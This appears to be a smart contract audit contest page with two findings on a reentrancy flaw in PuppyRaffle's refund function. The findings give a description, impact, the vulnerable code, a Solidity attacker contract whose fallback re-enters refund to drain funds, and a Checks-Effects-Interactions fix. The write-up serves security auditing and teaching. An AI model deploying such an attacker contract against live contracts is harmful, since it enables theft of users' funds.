Reentrancy in PuppyRaffle::refund Allows Attacker to Drain Contract Funds
Root + Impact
Description
Normal Behavior:
The PuppyRaffle::refund function allows a player to withdraw their entrance fee if they are no longer active. It first checks that the caller is the player at the given index, then sends the refund via sendValue, and finally marks the player as refunded by setting players[playerIndex] = address(0).
Specific Issue:
The function performs the external call (sendValue) before updating the state (players[playerIndex] = address(0)). This violates the Checks-Effects-Interactions (CEI) pattern. An attacker can deploy a malicious contract that calls refund, and in its receive() function, calls refund again. Because the player's state has not been updated yet, the require checks pass again, allowing the attacker to drain the contract.
Risk
Likelihood:
Any attacker who has entered the raffle can deploy a malicious contract and trigger the reentrancy.
No special permissions or conditions are required.
Impact:
The attacker can drain the entire contract balance.
Other players lose their entrance fees.
Proof of Concept
The attacker contract calls enterRaffle to become a player, then calls refund(0). Inside refund, the contract sends ETH to the attacker before updating players[0]. The attacker's receive() function then calls refund(0) again, and since players[0] is still the attacker, the require checks pass again. This loop continues until the contract's balance is drained below the entrance fee. The test measures the balance before and after the attack and asserts that the attacker drained more than their own entrance fee.
Recommended Mitigation
Moving the state update before the external call ensures that the attacker's players[playerIndex] is set to address(0) before the ETH is sent, so the reentrant call will fail the require check. Adding nonReentrant provides an additional layer of protection.
Lead Judging Commences
[H-02] Reentrancy Vulnerability In refund() function
## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.
Rewards breakdown
Live
The contest is live. Earn rewards by submitting a finding.
Judging
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsRewards Distribution
The contest is complete and the rewards are being distributed.